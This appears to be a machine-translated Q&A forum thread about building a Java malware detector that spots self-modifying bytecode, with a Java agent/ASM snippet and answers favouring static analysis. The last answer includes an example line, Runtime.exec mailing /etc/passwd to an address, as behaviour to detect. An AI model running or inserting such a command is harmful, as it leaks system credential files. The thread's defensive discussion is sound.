2016-03-15 7 views
0

в основном им пытаются создать вредоносные программы обнаружения в Java, что обнаружить самомодифицирующийся код, программы должны запустить файл банки и определить, если он содержит самостоятельно модифицировать кодява инструкция манипулирования байткода/программа/самостоятельное обнаружение модифицирования кода

в один конец, я решил сделать это, получив исходный байт-код файла .class, и они сравнивают его с запущенным байтовым файлом приложения, байт-код работающего .class-файла должен быть таким же и изначально, если байт-код разный в определенный момент это означало бы, что программа модифицирует свою собственную структуру

вопрос в том, как получить байт-код работающего приложения Я хочу получить байт-код каждые 0,1 секунды и сравнить его с исходным байт-кодом.

есть в любом случае, чтобы получить его?

Я попробовал его с помощью java-агента, и ASM, однако, я мог получить только байт-код перед тем, как программа будет выполнена, а java-агент запускается до того, как будет запущен основной метод программы.

import org.objectweb.asm.ClassReader; 
import org.objectweb.asm.ClassWriter; 

import java.lang.instrument.ClassFileTransformer; 
import java.lang.instrument.IllegalClassFormatException; 
import java.lang.instrument.Instrumentation; 
import java.security.ProtectionDomain; 

public class asm { 

    //java agent 
    public static void premain(String agentArgs, Instrumentation inst){ 
    inst.addTransformer(new ClassFileTransformer() { 

     @Override 
     public byte[] transform(ClassLoader classLoader, /*class name*/String s, Class<?> aClass, ProtectionDomain protectionDomain, byte[] bytes) throws IllegalClassFormatException { 

      if ("other/Stuff".equals(s)) { 
       // ASM Code 
       ClassReader reader = new ClassReader(bytes); 
       ClassWriter writer = new ClassWriter(reader, 0); 
       //ClassPrinter visitor = new ClassPrinter(writer); 
       //reader.accept(visitor, 0); 
       return writer.toByteArray(); 
      } 
      //else{ 
       //System.out.println("class not loaded"); 
      return null; 
      //} 

     } 
    }) 
} 

этот код использует Java агента и ASM, однако то, что мне нужно знать, как я получаю байт-код приложения во время его выполнения. также, если кто-то может предложить другой подход о том, как определить самомодифицирующийся код в Java, я был бы признателен

заранее спасибо

+0

Что вы намерены делать ** если ** приложение использует * самомодифицирующийся * код? –

+0

Я бы просто хотел показать сообщение «приложение является вредоносным ПО». система im, пытающаяся реализовать, является очень простой системой обнаружения вредоносных программ, поэтому, когда она идентифицирует самомодифицирующий код, она должна рассматривать ее как вредоносную программу и информировать пользователя о том, что эта программа является вредоносным. –

+1

Приложения Java используют самомодифицирующийся код без вредоносного ПО, ваш эвристический кажется мне. Вы можете изучить [JPDA] (https://docs.oracle.com/javase/7/docs/technotes/guides/jpda/index.html). –

ответ

1

В вашем вопросе есть некоторые фундаментальные заблуждения. Прежде всего:

Если вы подозреваете, что код содержит вредоносное ПО, не запускайте его!

Существует исследование поле анализа поведения вредоносного ПО в песочнице, но так как это требует тщательных мер для обеспечения того, чтобы программное обеспечение не может причинить никакого вреда, которые должны быть оставлены на эксперт, в их сред.

Стандартное программное обеспечение для обнаружения вредоносных программ работает, анализируя код без выполнения (или до) его выполнения. Что приводит к вопросу о том, что искать:

Malware не должен содержать самомодифицирующийся код вредоносного

Характеристики вредоносных программ для выполнения непреднамеренных, вредные действий и для того, чтобы их , программа должна выполнять ввод-вывод или запускать другое программное обеспечение на вашем компьютере, например для того, чтобы вызвать повреждение файлов, вам нужен файловый ввод-вывод, отправка спама или атака на другие компьютеры, вам нужен сетевой ввод-вывод, чтобы выполнять действия, не охватываемые Java API, вам необходимо загрузить собственную библиотеку или запустить внешний процесс.

Напротив, на Java изменение собственного кода не влияет. Модифицированный код не может сделать ничего, что мог бы сделать исходный код, и если модификация происходит «на лету», он даже не имеет постоянного побочного эффекта в вашей компьютерной среде. Поэтому, если код, пытающийся изменить свой собственный код, действительно вредоносный, он может выполнять требуемые действия напрямую без этой косвенности.

Кроме того, ваша идея неоднократной проверки кода обречена на провал, поскольку JVM не сохраняют исходный байт-код. Код хранится в зависимости от реализации, оптимизированный для эффективного выполнения. Поэтому, когда Агент запрашивает JVM через API-интерфейс Instrumentation для кода класса, он не вернет исходный код, а эквивалентный код, созданный путем преобразования внутренней формы кода.

Это указано by the following statement:

Начальные байты файла класса представляют байты, передаваемые ClassLoader.defineClass или redefineClasses (до были применены какие-либо преобразования), однако они могут не точно соответствовать им. Постоянный пул может не иметь одинакового макета или содержимого. У пула констант может быть больше или меньше записей. Записи с постоянным пулом могут быть в другом порядке; однако постоянные индексы пула в байткодах методов будут соответствовать. Некоторые атрибуты могут отсутствовать. Если порядок не имеет смысла, например порядок методов, порядок может не сохраниться.

Таким образом, вы не можете просто сравнивать байтовые массивы, но должны разбирать файл класса, чтобы моделировать его семантику и сравнивать его с результатом предыдущей операции синтаксического анализа. Поэтому преобразование внутреннего представления JVM в файл класса не приходит бесплатно, добавляет синтаксический анализ и анализ, и вы хотите сделать это для всех классов каждые 0,1 секунды - сложная работа.


В конце концов, в этом нет необходимости. Вы можете управлять с помощью параметров запуска, какие агенты будут запущены и возможно ли присоединение новых агентов. Без неизвестных агентов не будет никакого незаконного использования Инструментария API, таким образом, никакого измененного кода.

Поскольку для того, чтобы по-настоящему обнаружить вредоносное ПО, требуется статический анализ кода, выяснить, какие интерфейсы используются (например, I/O, ProcessBuilder и т.д.), его легко проверить использование инструментария API или ClassLoader с.И помимо нестандартных API (которые всегда должны вызывать предупреждающие флаги), это единственные возможные способы получить новый код в JVM.

Более сложная задача - выяснить, какие из этих API являются законными и какие истинные признаки вредоносного ПО и рассчитать потенциальную опасность для неизвестного программного обеспечения. Но это именно та задача, с которой нужно принять настоящее программное обеспечение для обнаружения вредоносных программ.

1

код Само модифицирование не представляется возможным в Java. Ближайшим вы можете стать агенты Java, но байт-код в противном случае неизменен после загрузки класса. И в любом случае гораздо проще использовать отражение для обфускации.

0

Простейший способ изменения байтового кода - с помощью Instrumentation. Это позволит вам контролировать байтовый код каждого класса по мере его загрузки, но вы не можете быть уверены, что другой агент Instrumentation не будет запущен после вас. то есть нет способа убедиться, что вы смотрите на окончательный байтовый код.

Также многие классы, в том числе лямбда и обработчики отражения, генерируются динамически, поэтому для их сравнения не существует «исходного» байтового кода.

В качестве упражнения вы можете определить, был ли класс изменен при загрузке с помощью предыдущего агента Instrumentation, получив байт-код из загрузчика классов и сравнив его.

Гораздо более простой способ, чтобы вредоносные программы, чтобы выполнить команду Вы можете обнаружить это поведение путем проверки байт-код и не давая ему сделать это с помощью Runtime.exec

Runtime.exec("mail [email protected] < /etc/passwd") 

.

В общем, вам нужна настоящая вредоносная программа, которую вы можете анализировать, а затем обнаруживать, что она делает.